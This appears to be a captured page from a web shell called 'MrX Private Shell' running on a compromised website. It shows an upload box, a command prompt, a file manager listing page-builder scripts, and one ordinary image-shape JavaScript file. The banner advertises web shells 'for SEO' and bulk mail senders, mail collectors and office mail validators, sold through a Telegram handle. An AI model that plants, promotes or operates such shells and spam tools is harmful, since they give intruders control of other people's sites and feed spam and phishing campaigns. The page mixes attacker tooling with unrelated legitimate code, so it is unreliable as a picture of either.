__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
(() => {
    'use strict';

    const processImageShapes = (currentDocument = document, isProcessOnLoad = false) => {
        const wrapperElements = currentDocument?.querySelectorAll('.sppb-addon-image-shape');
        
        wrapperElements.forEach((wrapperElement) => {
            const path = wrapperElement.querySelector('svg path');
            const image = wrapperElement.querySelector('img');
            
            if (!image || !path) {
                return;
            }

            const updateSVGStyle = (image) => {
                const dataScale = image.getAttribute('data-scale') || 1;
                const translateX = image.width / 2;
                const translateY = image.height / 2;
                path.setAttribute('transform', 'translate(' + translateX + ',' + translateY + ') scale(' + dataScale + ')');
                image.style.visibility = null;
            }
            
            if (isProcessOnLoad) {
                image.onload = () => {
                    updateSVGStyle(image);
                }

                return;
            }
            
            updateSVGStyle(image);
        })
    }

    document.addEventListener('DOMContentLoaded', function () {
        processImageShapes(document, false);
        
        document.getElementById('sp-pagebuilder-view')?.addEventListener('load', () => {
            const pageBuilderIframe = window.frames['sp-pagebuilder-view'];

            if (!pageBuilderIframe) {
                return;
            }

            const container = pageBuilderIframe?.window.document.getElementById('sp-pagebuilder-container');
            if (container) {
                processImageShapes(container, true);

                const config = { attributes: true, childList: true, subtree: true };
                const observer = new MutationObserver(function (mutations) {
                    mutations.forEach(function (mutation) {                            
                        if (mutation.type === 'childList' || mutation.type === 'subtree') {
                            if (mutation.target === container || container.contains(mutation.target)) {
                                processImageShapes(container, true);
                            }
                        }
                    });
                });

                observer.observe(container, config);
            }
        })
    });
})();

Filemanager

Name Type Size Permission Actions
before_after.js File 4.96 KB 0664
dc-gallery-bxslider.js File 8.97 KB 0664
image.js File 2.36 KB 0664
popover.js File 13.04 KB 0664
text_block.js File 690 B 0664
Filemanager